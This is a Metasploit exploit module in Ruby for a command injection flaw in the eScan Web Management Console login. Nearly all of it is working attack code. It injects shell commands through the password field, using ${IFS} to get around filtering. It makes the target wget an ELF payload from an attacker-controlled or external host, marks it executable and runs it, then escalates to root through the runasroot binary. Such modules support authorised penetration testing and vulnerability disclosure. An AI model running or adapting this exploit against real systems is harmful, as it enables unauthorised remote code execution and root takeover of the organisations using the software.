1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166 | # This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "eScan Web Management Console Command Injection",
'Description' => %q{
This module exploits a command injection vulnerability found in the eScan Web Management
Console. The vulnerability exists while processing CheckPass login requests. An attacker
with a valid username can use a malformed password to execute arbitrary commands. With
mwconf privileges, the runasroot utility can be abused to get root privileges. This module
has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Joxean Koret', # Vulnerability Discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'URL', 'http://www.joxeankoret.com/download/breaking_av_software-pdf.tar.gz' ] # Syscan slides by Joxean
],
'Payload' =>
{
'BadChars' => "", # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD
'DisableNops' => true
},
'Arch' => ARCH_X86,
'Platform' => 'linux',
'Privileged' => true,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
['eScan 5.5-2 / Linux', {}],
],
'DisclosureDate' => "Apr 04 2014",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(10080),
OptString.new('USERNAME', [ true, 'A valid eScan username' ]),
OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/']),
OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('RUNASROOT', [ true, 'Path to the runasroot binary', '/opt/MicroWorld/sbin/runasroot' ]),
], self.class)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path.to_s, 'index.php')
})
if res and res.code == 200 and res.body =~ /eScan WebAdmin/
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Unknown
end
def cmd_exec(session, cmd)
case session.type
when /meterpreter/
print_warning("#{peer} - Use a shell payload in order to get root!")
when /shell/
o = session.shell_command_token(cmd)
o.chomp! if o
end
return "" if o.nil?
return o
end
# Escalating privileges here because runasroot only can't be executed by
# mwconf uid (196).
def on_new_session(session)
cmd_exec(session, "#{datastore['RUNASROOT'].shellescape} /bin/sh")
super
end
def primer
@payload_url = get_uri
wget_payload
end
def on_request_uri(cli, request)
print_status("Request: #{request.uri}")
if request.uri =~ /#{Regexp.escape(get_resource)}/
print_status("Sending payload...")
send_response(cli, @pl)
end
end
def exploit
@pl = generate_payload_exe
if @pl.blank?
fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
end
@payload_url = ""
if datastore['EXTURL'].blank?
begin
Timeout.timeout(datastore['HTTPDELAY']) {super}
rescue Timeout::Error
end
exec_payload
else
@payload_url = datastore['EXTURL']
wget_payload
exec_payload
end
end
# we execute in this way, instead of an ARCH_CMD
# payload because real badchars are: |&)(!><'"`[space]
def wget_payload
@dropped_elf = rand_text_alpha(rand(5) + 3)
command = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
print_status("#{peer} - Downloading the payload to the target machine...")
res = exec_command(command)
if res && res.code == 302 && res.headers['Location'] && res.headers['Location'] =~ /index\.php\?err_msg=password/
register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))
else
fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
end
end
def exec_payload
command = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)};"
command << File.join(datastore['WRITABLEDIR'], @dropped_elf)
print_status("#{peer} - Executing the payload...")
exec_command(command, 1)
end
def exec_command(command, timeout=20)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path.to_s, 'login.php'),
'vars_post' => {
'uname' => datastore['USERNAME'],
'pass' => ";#{command}",
'product_name' => 'escan',
'language' => 'English',
'login' => 'Login'
}
}, timeout)
end
end
|